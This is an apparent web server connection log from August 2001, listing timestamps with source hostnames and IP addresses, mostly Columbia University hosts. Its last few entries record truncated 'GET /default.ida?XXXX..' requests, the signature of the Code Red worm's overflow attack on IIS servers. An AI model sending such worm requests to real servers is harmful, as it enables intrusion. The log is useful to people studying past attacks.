20010815 18:18:31: dynamic-54-87.dyn.columbia.edu 20010815 18:33:08: host129.20365176.gcn.net.tw 20010815 18:40:43: 128.59.56.115 20010815 19:29:30: 128.59.56.115 20010815 20:40:34: gaea.ilt.columbia.edu 20010815 20:58:29: dynamic-54-87.dyn.columbia.edu 20010815 20:58:35: gaea.ilt.columbia.edu 20010815 21:03:46: gaea.ilt.columbia.edu 20010815 21:44:04: dynamic-54-87.dyn.columbia.edu 20010815 22:42:33: dialup-cc2-76.cc.columbia.edu 20010815 23:01:24: captdavid.resnet.tamu.edu 20010816 00:15:51: 128.59.56.115 20010816 01:25:36: dialup-cc1-86.cc.columbia.edu 20010816 04:00:25: 128.59.56.115 20010816 04:51:19: 128.59.56.115 20010816 06:21:27: GRACJA 20010816 06:54:47: 128.59.56.115 20010816 07:52:05: dialup-cc2-69.cc.columbia.edu 20010816 09:48:20: deuteronomy.hr.columbia.edu 20010816 10:26:00: deuteronomy.hr.columbia.edu 20010816 10:32:17: gaea.ilt.columbia.edu 20010816 10:58:18: deuteronomy.hr.columbia.edu 20010816 12:20:45: 202.56.138.83 20010816 12:28:06: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010816 13:16:52: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010816 14:20:34: [128.59.56.115] 20010816 14:56:25: deuteronomy.hr.columbia.edu [128.59.25.36] 20010816 15:08:34: deuteronomy.hr.columbia.edu [128.59.25.36] 20010816 15:21:47: [128.59.56.115] 20010816 16:44:12: deuteronomy.hr.columbia.edu [128.59.25.36] 20010816 16:45:49: [211.183.164.137] 20010816 16:48:17: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010816 17:36:34: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010816 17:56:49: [61.170.149.194] 20010816 18:04:39: fgd61.eastnet.gatech.edu [128.61.100.189] 20010816 21:52:12: [211.159.39.90] 20010816 22:07:14: dialup-cc3-55.cc.columbia.edu [128.59.42.160] 20010816 22:07:38: [128.134.254.162] 20010817 05:37:14: [61.175.211.62] 20010817 07:18:02: host55-27.lan-isdn.imaginet.fr [195.68.55.27] 20010817 07:25:32: tcforum.tc.columbia.edu [128.59.91.4] 20010817 07:26:15: tcforum.tc.columbia.edu [128.59.91.4] 20010817 07:26:19: tcforum.tc.columbia.edu [128.59.91.4] 20010817 07:26:25: tcforum.tc.columbia.edu [128.59.91.4] 20010817 07:26:28: tcforum.tc.columbia.edu [128.59.91.4] 20010817 07:27:05: tcforum.tc.columbia.edu [128.59.91.4] 20010817 07:27:06: tcforum.tc.columbia.edu [128.59.91.4] 20010817 07:27:07: tcforum.tc.columbia.edu [128.59.91.4] 20010817 07:27:08: tcforum.tc.columbia.edu [128.59.91.4] 20010817 07:27:44: tcforum.tc.columbia.edu [128.59.91.4] 20010817 07:29:49: tcforum.tc.columbia.edu [128.59.91.4] 20010817 10:21:16: BL132199.bluford.ncat.edu [152.8.107.224] 20010817 11:10:07: [61.137.86.89] 20010817 11:56:27: dfeugey.posse-press.com [] 20010817 12:44:51: [128.197.234.115] 20010817 13:38:36: [128.163.58.158] 20010817 15:24:23: sfghdhcp101-136.ucsf.EDU [128.218.101.136] 20010817 16:25:26: [128.134.25.90] 20010817 16:42:03: [65.114.198.35] 20010817 17:25:33: micronetdev02.cul.columbia.edu [128.59.38.73] 20010817 17:29:01: dhcp36.cs.columbia.edu [128.59.19.236] 20010817 18:08:16: [202.110.114.199] 20010817 18:22:36: ucsf-228-103.ucsf.edu [128.218.228.103] 20010817 18:32:01: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010817 18:39:26: dhcp36.cs.columbia.edu [128.59.19.236] 20010817 18:47:04: bus205-197.gsb.columbia.edu [128.59.205.197] 20010817 18:53:59: [61.137.86.89] 20010817 19:53:11: bus205-197.gsb.columbia.edu [128.59.205.197] 20010817 20:28:21: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010817 20:29:51: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010817 20:38:26: micronetdev02.cul.columbia.edu [128.59.38.73] 20010817 20:53:23: micronetdev02.cul.columbia.edu [128.59.38.73] 20010817 21:03:43: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:03:47: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:03:54: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:03:54: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:03:58: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:04:11: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:04:13: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:04:13: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:04:15: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:04:15: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:04:15: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:04:15: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:04:17: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:04:23: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:04:27: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:04:31: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:05:43: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:06:03: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:06:03: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:06:23: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:06:43: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:06:46: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:06:53: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:07:00: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010817 21:07:03: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 21:28:21: micronetdev02.cul.columbia.edu [128.59.38.73] 20010817 21:37:50: micronetdev02.cul.columbia.edu [128.59.38.73] 20010817 22:13:01: dynamic-99-110.dyn.columbia.edu [128.59.99.110] 20010817 22:23:03: micronetdev02.cul.columbia.edu [128.59.38.73] 20010817 22:48:29: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010817 23:06:50: micronetdev02.cul.columbia.edu [128.59.38.73] 20010817 23:19:50: bus205-197.gsb.columbia.edu [128.59.205.197] 20010817 23:23:40: bus205-197.gsb.columbia.edu [128.59.205.197] 20010817 23:27:53: dhcp36.cs.columbia.edu [128.59.19.236] 20010817 23:52:22: dhcp36.cs.columbia.edu [128.59.19.236] 20010817 23:58:05: dhcp36.cs.columbia.edu [128.59.19.236] 20010818 00:18:04: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 00:24:36: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 01:01:13: dhcp36.cs.columbia.edu [128.59.19.236] 20010818 01:11:40: dhcp36.cs.columbia.edu [128.59.19.236] 20010818 01:34:20: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 02:02:54: micronetdev02.cul.columbia.edu [128.59.38.73] 20010818 02:09:47: dialup-cc3-56.cc.columbia.edu [128.59.42.161] 20010818 02:31:01: dialup-cc3-56.cc.columbia.edu [128.59.42.161] 20010818 02:38:07: dhcp36.cs.columbia.edu [128.59.19.236] 20010818 02:48:40: [211.50.146.1] 20010818 03:16:49: dhcp36.cs.columbia.edu [128.59.19.236] 20010818 03:21:56: micronetdev02.cul.columbia.edu [128.59.38.73] 20010818 03:29:44: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 04:08:05: ns.optiy.co.jp [210.248.124.50] 20010818 04:52:36: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 05:12:55: dhcp36.cs.columbia.edu [128.59.19.236] 20010818 05:17:07: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 06:06:38: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 06:14:17: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010818 06:16:53: dhcp36.cs.columbia.edu [128.59.19.236] 20010818 07:32:10: micronetdev02.cul.columbia.edu [128.59.38.73] 20010818 07:39:46: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 07:52:36: micronetdev02.cul.columbia.edu [128.59.38.73] 20010818 08:06:28: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 08:30:48: [128.252.251.173] 20010818 09:47:20: luis.inag.pt [193.136.235.99] 20010818 10:56:10: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 10:57:49: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 11:16:36: micronetdev02.cul.columbia.edu [128.59.38.73] 20010818 12:18:20: systemtalk.systemtalk.co.jp [210.196.162.242] 20010818 13:04:50: BOS-ADMIN43.BU.EDU [128.197.235.43] 20010818 13:31:35: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 14:04:44: micronetdev02.cul.columbia.edu [128.59.38.73] 20010818 14:18:19: dhcp36.cs.columbia.edu [128.59.19.236] 20010818 14:29:31: dyn-lern-24-185.dyn.columbia.edu [128.59.24.185] 20010818 14:39:48: micronetdev02.cul.columbia.edu [128.59.38.73] 20010818 15:44:32: YOGH [01-097.052.popsite.net] 20010818 16:50:51: bus205-197.gsb.columbia.edu [128.59.205.197] 20010818 17:38:39: bus205-197.gsb.columbia.edu [128.59.205.197] 20010818 17:57:23: dhcp36.cs.columbia.edu [128.59.19.236] 20010818 18:07:24: commerce.117.205.216.in-addr.arpa [] 20010818 18:16:35: bus205-197.gsb.columbia.edu [128.59.205.197] 20010818 20:10:18: dhcp36.cs.columbia.edu [128.59.19.236] 20010818 20:15:34: bus205-197.gsb.columbia.edu [128.59.205.197] 20010818 20:26:51: dhcp36.cs.columbia.edu [128.59.19.236] 20010818 20:35:31: bus205-197.gsb.columbia.edu [128.59.205.197] 20010818 20:49:42: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 22:49:49: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 22:56:33: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 22:58:54: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 23:40:50: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010818 23:46:29: dhcp36.cs.columbia.edu [128.59.19.236] 20010818 23:55:42: dhcp36.cs.columbia.edu [128.59.19.236] 20010818 23:57:41: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 00:00:19: bus205-197.gsb.columbia.edu [128.59.205.197] 20010819 00:25:52: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 00:31:02: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 00:55:13: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010819 00:55:23: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010819 00:55:24: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010819 00:55:26: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010819 00:55:27: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010819 00:55:30: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010819 00:55:33: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010819 00:55:33: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010819 00:55:36: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010819 00:55:36: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010819 00:55:40: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010819 00:55:43: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010819 00:55:43: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010819 00:55:43: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010819 01:01:49: dhcp36.cs.columbia.edu [128.59.19.236] 20010819 01:10:55: dialup-ccts5-24.cc.columbia.edu [128.59.6.33] 20010819 01:24:53: dhcp36.cs.columbia.edu [128.59.19.236] 20010819 01:47:45: mcut-d-025.resnet.purdue.edu [128.211.211.25] 20010819 01:48:26: dhcp36.cs.columbia.edu [128.59.19.236] 20010819 01:49:53: dhcp36.cs.columbia.edu [128.59.19.236] 20010819 02:01:23: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 02:06:36: dhcp36.cs.columbia.edu [128.59.19.236] 20010819 02:59:57: [61.150.130.198] 20010819 04:11:57: dhcp36.cs.columbia.edu [128.59.19.236] 20010819 04:14:30: dhcp36.cs.columbia.edu [128.59.19.236] 20010819 04:16:25: dhcp36.cs.columbia.edu [128.59.19.236] 20010819 04:56:15: [202.110.114.199] 20010819 05:07:19: dialup-cc2-20.cc.columbia.edu [128.59.58.125] 20010819 05:47:05: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 06:17:49: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 06:56:05: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 07:03:47: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 07:16:43: dhcp36.cs.columbia.edu [128.59.19.236] 20010819 08:05:40: silvoffice.harvard.edu [128.103.101.117] 20010819 09:15:32: dhcp36.cs.columbia.edu [128.59.19.236] 20010819 09:36:09: dialup-cc2-76.cc.columbia.edu [128.59.58.181] 20010819 10:28:22: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 10:28:51: hebe.sie.arizona.edu [128.196.219.195] 20010819 12:03:23: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 13:03:31: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 13:57:36: MFG-DLP.BU.EDU [128.197.179.159] 20010819 14:11:23: CM-17-210.chello.cl [24.152.17.210] 20010819 16:05:36: r42h80.res.gatech.edu [128.61.42.80] 20010819 16:41:20: [211.160.240.3] 20010819 16:50:16: dhcp36.cs.columbia.edu [128.59.19.236] 20010819 17:55:07: wily-b-049.resnet.purdue.edu [128.211.225.49] 20010819 18:09:54: dialup-ccts5-158.cc.columbia.edu [128.59.6.167] 20010819 20:10:21: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 20:29:41: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 20:45:53: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 20:46:52: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 21:43:38: [61.137.86.89] 20010819 22:09:23: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010819 23:53:46: YOGH [03-205.052.popsite.net] 20010820 00:08:41: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010820 00:35:37: GRUEL-115-34.PPP.ANDREW.CMU.EDU [128.2.115.34] 20010820 01:32:11: dhcp36.cs.columbia.edu [128.59.19.236] 20010820 02:03:10: dhcp36.cs.columbia.edu [128.59.19.236] 20010820 02:58:35: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010820 03:54:57: [128.196.60.54] 20010820 04:34:12: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010820 04:42:23: dhcp36.cs.columbia.edu [128.59.19.236] 20010820 05:00:13: dhcp36.cs.columbia.edu [128.59.19.236] 20010820 05:10:22: jrb-fileserv.jrn.columbia.edu [128.59.96.75] 20010820 05:34:17: dhcp36.cs.columbia.edu [128.59.19.236] 20010820 06:01:11: ubr-a-33.104.198.wintersprings.cfl.rr.com [65.33.104.198] 20010820 06:33:32: [211.23.51.210] 20010820 07:43:33: [128.134.54.169] 20010820 09:58:36: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010820 10:55:58: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010820 11:40:48: dynamic-51-234.dyn.columbia.edu [128.59.51.234] 20010820 11:46:34: dhcp36.cs.columbia.edu [128.59.19.236] 20010820 11:51:28: dhcp36.cs.columbia.edu [128.59.19.236] 20010820 12:27:07: dhcp36.cs.columbia.edu [128.59.19.236] 20010820 13:24:33: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010820 13:38:12: dhcp36.cs.columbia.edu [128.59.19.236] 20010820 13:39:22: sf3104-1.civ.utoronto.ca [128.100.14.36] 20010820 14:02:27: lewd36.dsp.columbia.edu [128.59.207.88] 20010820 14:12:25: dialup-ccts5-160.cc.columbia.edu [128.59.6.169] 20010820 14:28:21: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010820 14:30:50: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010820 14:43:00: dhcp36.cs.columbia.edu [128.59.19.236] 20010820 16:03:22: lewd36.dsp.columbia.edu [128.59.207.88] 20010820 16:32:14: dynamic-51-234.dyn.columbia.edu [128.59.51.234] 20010820 17:10:03: dialup-ccts5-89.cc.columbia.edu [128.59.6.98] 20010820 17:14:20: dynamic-51-234.dyn.columbia.edu [128.59.51.234] 20010820 18:04:48: dynamic-51-234.dyn.columbia.edu [128.59.51.234] 20010820 18:34:00: dynamic-33-138.dyn.columbia.edu [128.59.33.138] 20010820 18:45:27: dhcp36.cs.columbia.edu [128.59.19.236] 20010820 18:56:33: 63.125.29.199 [] 20010820 19:36:51: dynamic-51-234.dyn.columbia.edu [128.59.51.234] 20010820 19:45:03: dhcp36.cs.columbia.edu [128.59.19.236] 20010820 19:48:34: 216.205.172.130 [] 20010820 19:53:18: 216.215.144.201.nw.TriVergent.Net [] 20010820 19:53:49: dialup-ccts5-40.cc.columbia.edu [128.59.6.49] 20010820 20:02:10: dialup-ccts5-160.cc.columbia.edu [128.59.6.169] 20010820 20:27:48: dynamic-51-234.dyn.columbia.edu [128.59.51.234] 20010820 21:01:16: dynamic-51-234.dyn.columbia.edu [128.59.51.234] 20010820 21:16:15: dialup-ccts5-160.cc.columbia.edu [128.59.6.169] 20010820 21:31:44: dialup-1-39.cc.columbia.edu [128.59.42.48] 20010820 22:16:44: bus205-197.gsb.columbia.edu [128.59.205.197] 20010820 22:17:00: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010820 22:22:54: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010820 22:36:33: bus205-197.gsb.columbia.edu [128.59.205.197] 20010820 22:42:04: dialup-1-36.cc.columbia.edu [128.59.42.45] 20010820 22:45:08: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010820 23:09:45: bus205-197.gsb.columbia.edu [128.59.205.197] 20010820 23:17:03: bus205-197.gsb.columbia.edu [128.59.205.197] 20010820 23:57:08: 61.79.118.144 [] 20010821 00:02:30: dialup-ccts5-60.cc.columbia.edu [128.59.6.69] 20010821 00:05:59: dynamic-51-234.dyn.columbia.edu [128.59.51.234] 20010821 00:13:22: dialup-ccts5-60.cc.columbia.edu [128.59.6.69] 20010821 00:23:47: dialup-ccts5-60.cc.columbia.edu [128.59.6.69] 20010821 00:28:54: dhcp36.cs.columbia.edu [128.59.19.236] 20010821 00:43:34: dhcp36.cs.columbia.edu [128.59.19.236] 20010821 01:06:44: dialup-cc2-88.cc.columbia.edu [128.59.58.193] 20010821 01:39:33: dynamic-51-234.dyn.columbia.edu [128.59.51.234] 20010821 01:43:30: moore162ewa.lll.hawaii.edu [128.171.23.153] 20010821 03:16:58: dynamic-51-234.dyn.columbia.edu [128.59.51.234] 20010821 06:12:21: dynamic-51-234.dyn.columbia.edu [128.59.51.234] 20010821 06:16:14: dynamic-51-234.dyn.columbia.edu [128.59.51.234] 20010821 06:31:34: hufei.camp.clarkson.edu [128.153.15.199] 20010821 06:44:44: dhcp36.cs.columbia.edu [128.59.19.236] 20010821 07:25:17: ip-114-133-86.phx.extremezone.com [63.114.133.86] 20010821 07:29:15: dhcp36.cs.columbia.edu [128.59.19.236] 20010821 08:50:42: 128.121.167.245 [] 20010821 09:52:42: TY156000.BU.EDU [128.197.230.144] 20010821 10:40:46: dynamic-51-234.dyn.columbia.edu [128.59.51.234] 20010821 11:16:22: dynamic-51-234.dyn.columbia.edu [128.59.51.234] 20010821 11:20:54: dialup-1-30.cc.columbia.edu [128.59.42.39] 20010821 11:27:14: 01-085.052.popsite.net [64.24.22.85] 20010821 11:31:57: sgrm294.grm.hia.no [128.39.203.38] 20010821 12:07:24: 193-153-183-107.uc.nombres.ttd.es [193.153.183.107] 20010821 16:00:54: lewd32.dsp.columbia.edu [128.59.207.84] 20010821 16:23:50: lewd32.dsp.columbia.edu [128.59.207.84] 20010821 16:32:23: lewc01.dsp.columbia.edu [128.59.207.60] 20010821 17:06:53: lewc01.dsp.columbia.edu [128.59.207.60] 20010821 17:07:13: dhcp36.cs.columbia.edu [128.59.19.236] 20010821 17:29:19: lewc01.dsp.columbia.edu [128.59.207.60] 20010821 18:21:50: bus205-197.gsb.columbia.edu [128.59.205.197] 20010821 19:06:07: dynamic-104-228.dyn.columbia.edu [128.59.104.228] 20010821 19:41:27: dhcp36.cs.columbia.edu [128.59.19.236] 20010821 19:49:24: hufei.camp.clarkson.edu [128.153.15.199] 20010821 19:50:20: dynamic-104-228.dyn.columbia.edu [128.59.104.228] 20010821 20:27:00: lsllc04.erols.com [208.58.75.228] 20010821 20:57:24: 206.129.55.60 [] 20010821 22:57:30: sahara-2.econ.columbia.edu [128.59.160.55] 20010821 23:04:20: udp007812uds.ucsf.edu [128.218.102.3] 20010821 23:35:32: dhcp36.cs.columbia.edu [128.59.19.236] 20010821 23:36:58: dhcp36.cs.columbia.edu [128.59.19.236] 20010821 23:54:52: bus205-176.gsb.columbia.edu [128.59.205.176] 20010822 00:07:17: 128.134.54.169 [] 20010822 00:27:12: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:18: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:21: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:22: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:22: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:24: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:25: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:27: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:28: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:33: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:33: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:35: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:41: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:41: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:42: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:42: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:42: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:49: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:52: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:52: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:27:56: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:28:01: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:28:02: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:28:02: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:28:02: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 00:28:05: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 01:50:05: bus205-176.gsb.columbia.edu [128.59.205.176] 20010822 01:54:46: dhcp36.cs.columbia.edu [128.59.19.236] 20010822 02:09:23: bus205-176.gsb.columbia.edu [128.59.205.176] 20010822 02:25:01: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 03:19:26: r77h144.res.gatech.edu [128.61.77.144] 20010822 03:55:09: dhcp36.cs.columbia.edu [128.59.19.236] 20010822 05:25:13: 01-085.052.popsite.net [64.24.22.85] 20010822 06:54:19: sc57.eastnet.gatech.edu [128.61.106.57] 20010822 07:08:14: bus205-176.gsb.columbia.edu [128.59.205.176] 20010822 08:11:02: dhcp36.cs.columbia.edu [128.59.19.236] 20010822 08:15:09: bus205-176.gsb.columbia.edu [128.59.205.176] 20010822 08:25:07: theodore.ece.uci.edu [128.200.94.53] 20010822 09:01:44: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 09:01:46: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 09:02:06: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 09:02:36: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 09:02:54: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 09:03:07: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 09:03:32: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 09:04:00: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 09:04:01: sahara-2.econ.columbia.edu [128.59.160.55] 20010822 09:12:25: dhcp36.cs.columbia.edu [128.59.19.236] 20010822 09:18:15: dhcp36.cs.columbia.edu [128.59.19.236] 20010822 09:40:13: 61.137.63.196 [] 20010822 09:47:50: dhcp36.cs.columbia.edu [128.59.19.236] 20010822 12:24:33: 216-41-74-9.gis.net [] 20010822 12:30:00: bus205-176.gsb.columbia.edu [128.59.205.176] 20010822 12:37:15: bus205-176.gsb.columbia.edu [128.59.205.176] 20010822 12:39:01: dhcp36.cs.columbia.edu [128.59.19.236] 20010822 13:26:49: 211.204.15.30 [] 20010822 13:32:36: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010822 14:01:45: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010822 14:42:33: bus205-197.gsb.columbia.edu [128.59.205.197] 20010822 14:47:05: bus205-176.gsb.columbia.edu [128.59.205.176] 20010822 15:19:51: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010822 15:22:45: bus205-176.gsb.columbia.edu [128.59.205.176] 20010822 16:02:26: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010822 16:29:29: bus205-176.gsb.columbia.edu [128.59.205.176] 20010822 16:43:53: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010822 16:54:41: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010822 17:00:32: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010822 17:06:29: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010822 18:02:16: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010822 19:16:21: zeus.price.clarkson.edu [128.153.158.81] 20010822 19:16:52: nszx104.144.szptt.net.cn [] 20010822 19:45:48: lewa56.dsp.columbia.edu [128.59.207.108] 20010822 20:19:11: bus205-176.gsb.columbia.edu [128.59.205.176] 20010822 20:22:52: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010822 21:23:38: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010822 21:40:50: bus205-176.gsb.columbia.edu [128.59.205.176] 20010822 21:45:17: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010822 22:09:32: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010822 22:54:58: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010822 23:06:40: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010823 00:19:05: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010823 01:06:46: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010823 01:12:18: bus205-176.gsb.columbia.edu [128.59.205.176] 20010823 01:37:29: bus205-176.gsb.columbia.edu [128.59.205.176] 20010823 01:39:50: 128.134.50.35 [] 20010823 02:27:39: bus205-176.gsb.columbia.edu [128.59.205.176] 20010823 02:28:10: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010823 03:07:15: bus205-176.gsb.columbia.edu [128.59.205.176] 20010823 03:39:01: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010823 04:39:25: 128.134.11.235 [] 20010823 04:58:58: bus205-176.gsb.columbia.edu [128.59.205.176] 20010823 05:47:14: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010823 05:57:33: bus205-176.gsb.columbia.edu [128.59.205.176] 20010823 06:15:57: 211.155.48.7 [] 20010823 07:42:57: bus205-176.gsb.columbia.edu [128.59.205.176] 20010823 07:49:19: 61.32.11.188 [] 20010823 07:55:05: 211.75.117.201 [] 20010823 08:23:01: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010823 08:23:12: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010823 08:26:53: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010823 08:50:09: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010823 08:55:19: dynamic-54-87.dyn.columbia.edu [128.59.54.87] 20010823 09:24:08: 128.97.190.17 [] 20010823 09:35:48: bus205-176.gsb.columbia.edu [128.59.205.176] 20010823 10:04:46: dynamic-235-131.dyn.columbia.edu [128.59.235.131] 20010823 10:33:04: bus205-176.gsb.columbia.edu [128.59.205.176] 20010823 10:49:26: 211.78.133.84 [] 20010823 11:59:56: [128.59.192.250] 20010823 12:33:27: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010823 12:59:04: [211.224.93.48] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010823 13:13:16: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010823 13:23:55: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010823 13:29:04: lewd28.dsp.columbia.edu [128.59.207.80] "GET /default.ida.." 20010823 13:47:56: lewd28.dsp.columbia.edu [128.59.207.80] "GET /default.ida.." 